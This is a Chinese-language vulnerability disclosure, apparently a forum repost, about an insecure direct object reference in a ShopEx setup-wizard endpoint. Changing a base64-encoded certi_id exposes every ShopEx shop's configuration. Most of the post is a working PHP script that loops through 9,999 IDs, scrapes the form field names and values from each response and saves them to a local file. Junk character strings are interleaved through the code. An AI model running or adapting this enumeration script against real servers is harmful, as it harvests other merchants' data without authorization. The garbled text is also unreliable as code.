ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
/ [5 l/ k& B, T) Z1 `, L详细说明：
. c% l! k, F1 Z9 W6 S% I问题出现在shopex 网店使用向导页面
! s, I8 q) v! u+ T1 C* Q7 z


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


: b! g! ]$ W1 p& ]6 u) ^4 e, G( R
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
, x* X, G7 L6 r1 R: m) J


* L* b" j( N6 i% {$ a- y我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
3 v" i" ]/ r  n5 `* V9 L


<?php

                for ($i=1; $i < 10000; $i++) { //遍历
& h, V4 t8 `2 m0 Z
: |$ _5 E6 [. S                        ShowshopExD($i);

                }

                function ShowshopExD($cid) {
3 O6 D  }$ Z9 ^0 x1 q# f. D
                $url='http://guide.ecos.shopex.cn/step2.php';
: W5 K2 Y% [0 q5 N
! H/ g4 u  Y' y* n                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

' L. c2 G6 {/ k6 [" ]* C        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
  B( v, Q2 O/ p& J: e% i& B/ A
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
% L, ~! H' u. w" q( y# R: u7 k
7 C- s9 m( j% s( M: K; @( `' o! d        if(strpos($result,$refer))
1 D0 V8 R% U, U8 o
' a+ t3 f, L+ o  V1 g        {
% D0 V7 [; J4 @# i
7 z& a( F; R3 M1 B: ], [3 R5 N; g                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

7 ]/ t/ V+ y9 D                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

! L8 w) B3 {5 b' y& I. B6 c" m                foreach ($value[1] as $key) {
0 u( {, b% Z3 F6 V9 N3 |0 ?
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
* A& r; q, E1 U' U% j
                        echo $res[1][0].':'.$res[3][0]."\r\n";
4 ^) y+ D4 |9 e8 W: ?* [! y9 V
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

- l) V5 ]8 Z# P4 J8 x/ w                        fwrite($fp, $col, strlen($col));

/ s5 u3 F5 l& m' U* v                }
* q* ]3 e1 [, k7 w
6 @2 n, j0 `  y& J9 w) d9 y  A: c                echo '--------------------------------'."\r\n";
4 [7 j, z0 T3 N1 F7 w
3 v9 J6 |3 m! K' w                fclose($fp);
+ _9 ?" ^! |( z4 v
) [# A* }  f# \        }
6 o+ h& C* h; x4 M* L) J
        flush();

9 ^7 [6 w  \& S! m* x# j' e2 L, I        curl_close($ch);
0 R* n, V" `- ]2 i1 V
( z" ?* ~5 y* n3 r8 u: s! d                }
& M! x8 A  {7 b" t( c
5 d; B! J0 J+ Y! N; [+ Y( D?>
# Z% e& J! D3 J* C5 I; n6 D; t漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式